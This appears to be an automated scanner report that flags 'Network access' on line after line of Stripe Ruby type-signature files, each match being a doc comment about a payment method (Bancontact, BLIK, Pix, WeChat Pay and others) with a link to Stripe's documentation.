} def amazon_pay=(_amazon_pay); end # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no add - Network accessline 1330
def amazon_pay=(_amazon_pay); end # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additiona - Network accessline 1331
# Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, - Network accessline 1343
} def apple_pay_later=(_apple_pay_later); end # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe. - Network accessline 1344
def apple_pay_later=(_apple_pay_later); end # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/pa - Network accessline 1345
# Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details. - Network accessline 1350
} def au_becs_debit=(_au_becs_debit); end # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more - Network accessline 1351
def au_becs_debit=(_au_becs_debit); end # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more detail - Network accessline 1352
# Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details. - Network accessline 1357
} def bacs_debit=(_bacs_debit); end # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app - Network accessline 1358
def bacs_debit=(_bacs_debit); end # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linke - Network accessline 1359
# Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on - Network accessline 1364
} def bancontact=(_bancontact); end # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Cust - Network accessline 1365
def bancontact=(_bancontact); end # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers - Network accessline 1366
# Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap - Network accessline 1371
} def billie=(_billie); end # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they r - Network accessline 1372
def billie=(_billie); end # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request - Network accessline 1373
# BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b - Network accessline 1378
} def blik=(_blik); end # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 1379
def blik=(_blik); end # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. sig { returns(T.nilable(PaymentMethodConf - Network accessline 1380
# Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 1392
} def card=(_card); end # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or M - Network accessline 1393
def card=(_card); end # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Masterc - Network accessline 1394
# Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [ - Network accessline 1399
} def cartes_bancaires=(_cartes_bancaires); end # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/paym - Network accessline 1400
def cartes_bancaires=(_cartes_bancaires); end # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/c - Network accessline 1401
# Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details. - Network accessline 1406
} def cashapp=(_cashapp); end # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 1407
def cashapp=(_cashapp); end # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. sig { returns(T.nilable( - Network accessline 1408
# [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 1413
} def crypto=(_crypto); end # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payment - Network accessline 1414
def crypto=(_crypto); end # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank - Network accessline 1415
# Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details. - Network accessline 1420
} def customer_balance=(_customer_balance); end # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by o - Network accessline 1421
def customer_balance=(_customer_balance); end # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80 - Network accessline 1422
# EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page]( - Network accessline 1432
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions - Network accessline 1433
def expand=(_expand); end # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia - Network accessline 1434
# Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay - Network accessline 1439
} def fpx=(_fpx); end # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https: - Network accessline 1440
def fpx=(_fpx); end # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs - Network accessline 1441
# Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben - Network accessline 1446
} def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment - Network accessline 1447
def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with - Network accessline 1448
# giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban - Network accessline 1453
} def giropay=(_giropay); end # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android devic - Network accessline 1454
def giropay=(_giropay); end # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use - Network accessline 1455
# Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a - Network accessline 1460
} def google_pay=(_google_pay); end # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with - Network accessline 1461
def google_pay=(_google_pay); end # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Chec - Network accessline 1462
# GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/ - Network accessline 1467
} def grabpay=(_grabpay); end # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates - Network accessline 1468
def grabpay=(_grabpay); end # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, - Network accessline 1469
# iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli - Network accessline 1474
} def ideal=(_ideal); end # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapo - Network accessline 1475
def ideal=(_ideal); end # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Sw - Network accessline 1476
# JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U - Network accessline 1488
} def kakao_pay=(_kakao_pay); end # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing add - Network accessline 1489
def kakao_pay=(_kakao_pay); end # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address a - Network accessline 1490
# Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay - Network accessline 1495
} def klarna=(_klarna); end # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1496
def klarna=(_klarna); end # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. sig { returns(T.nilab - Network accessline 1497
# Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1509
} def kr_card=(_kr_card); end # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the n - Network accessline 1510
def kr_card=(_kr_card); end # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network - Network accessline 1511
# [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network. - Network accessline 1516
} def link=(_link); end # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payme - Network accessline 1517
def link=(_link); end # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb - Network accessline 1518
# MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details. - Network accessline 1523
} def mb_way=(_mb_way); end # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs - Network accessline 1524
def mb_way=(_mb_way); end # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.strip - Network accessline 1525
# MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods - Network accessline 1530
} def mobilepay=(_mobilepay); end # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payme - Network accessline 1531
def mobilepay=(_mobilepay); end # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments us - Network accessline 1532
# Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method. - Network accessline 1549
} def naver_pay=(_naver_pay); end # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payment - Network accessline 1550
def naver_pay=(_naver_pay); end # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-b - Network accessline 1551
# Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details. - Network accessline 1556
} def nz_bank_account=(_nz_bank_account); end # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay - Network accessline 1557
def nz_bank_account=(_nz_bank_account); end # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills - Network accessline 1558
# OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t - Network accessline 1563
} def oxxo=(_oxxo); end # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Pola - Network accessline 1564
def oxxo=(_oxxo); end # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and - Network accessline 1565
# Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way - Network accessline 1582
} def pay_by_bank=(_pay_by_bank); end # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1583
def pay_by_bank=(_pay_by_bank); end # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::Payco)) } - Network accessline 1584
# PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1589
} def payco=(_payco); end # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](h - Network accessline 1590
def payco=(_payco); end # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https:/ - Network accessline 1591
# PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa - Network accessline 1596
} def paynow=(_paynow); end # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1597
def paynow=(_paynow); end # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. s - Network accessline 1598
# PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1603
} def paypal=(_paypal); end # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate auth - Network accessline 1604
def paypal=(_paypal); end # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizin - Network accessline 1605
# PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. - Network accessline 1610
} def payto=(_payto); end # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com - Network accessline 1611
def payto=(_payto); end # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payme - Network accessline 1612
# Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details. - Network accessline 1617
} def pix=(_pix); end # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more - Network accessline 1618
def pix=(_pix); end # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more detail - Network accessline 1619
# PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details. - Network accessline 1631
} def revolut_pay=(_revolut_pay); end # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1632
def revolut_pay=(_revolut_pay); end # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::Samsun - Network accessline 1633
# Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1638
} def samsung_pay=(_samsung_pay); end # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) the - Network accessline 1639
def samsung_pay=(_samsung_pay); end # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their pay - Network accessline 1640
# Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected - Network accessline 1645
} def satispay=(_satispay); end # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA e - Network accessline 1646
def satispay=(_satispay); end # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA establi - Network accessline 1647
# The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard - Network accessline 1652
} def sepa_debit=(_sepa_debit); end # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any support - Network accessline 1653
def sepa_debit=(_sepa_debit); end # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported met - Network accessline 1654
# Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof - Network accessline 1659
} def sofort=(_sofort); end # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#cu - Network accessline 1660
def sofort=(_sofort); end # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer - Network accessline 1661
# Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S - Network accessline 1666
} def swish=(_swish); end # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1667
def swish=(_swish); end # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. sig { returns(T.nilable(Pay - Network accessline 1668
# Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1673
} def twint=(_twint); end # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](h - Network accessline 1674
def twint=(_twint); end # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https:/ - Network accessline 1675
# Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac - Network accessline 1680
} def us_bank_account=(_us_bank_account); end # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesse - Network accessline 1681
def us_bank_account=(_us_bank_account); end # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' app - Network accessline 1682
# WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque - Network accessline 1687
} def wechat_pay=(_wechat_pay); end # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability. - Network accessline 1688
def wechat_pay=(_wechat_pay); end # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability. sig { returns(T.nil - Network accessline 1689
# Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_update_params.rbi
- Network accessline 1287
def initialize(display_preference: nil); end end # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 1288
end # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::AcssDebit)) } - Network accessline 1289
# Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 1299
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the pu - Network accessline 1300
def active=(_active); end # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a lo - Network accessline 1301
# [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic - Network accessline 1306
} def affirm=(_affirm); end # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is pa - Network accessline 1307
def affirm=(_affirm); end # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particul - Network accessline 1308
# Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses - Network accessline 1313
} def afterpay_clearpay=(_afterpay_clearpay); end # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alip - Network accessline 1314
def afterpay_clearpay=(_afterpay_clearpay); end # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app - Network accessline 1315
# Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by - Network accessline 1334
} def amazon_pay=(_amazon_pay); end # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no add - Network accessline 1335
def amazon_pay=(_amazon_pay); end # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additiona - Network accessline 1336
# Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, - Network accessline 1348
} def apple_pay_later=(_apple_pay_later); end # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe. - Network accessline 1349
def apple_pay_later=(_apple_pay_later); end # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/pa - Network accessline 1350
# Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details. - Network accessline 1355
} def au_becs_debit=(_au_becs_debit); end # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more - Network accessline 1356
def au_becs_debit=(_au_becs_debit); end # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more detail - Network accessline 1357
# Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details. - Network accessline 1362
} def bacs_debit=(_bacs_debit); end # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app - Network accessline 1363
def bacs_debit=(_bacs_debit); end # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linke - Network accessline 1364
# Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on - Network accessline 1369
} def bancontact=(_bancontact); end # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Cust - Network accessline 1370
def bancontact=(_bancontact); end # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers - Network accessline 1371
# Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap - Network accessline 1376
} def billie=(_billie); end # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they r - Network accessline 1377
def billie=(_billie); end # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request - Network accessline 1378
# BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b - Network accessline 1383
} def blik=(_blik); end # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 1384
def blik=(_blik); end # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. sig { returns(T.nilable(PaymentMethodConf - Network accessline 1385
# Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 1397
} def card=(_card); end # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or M - Network accessline 1398
def card=(_card); end # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Masterc - Network accessline 1399
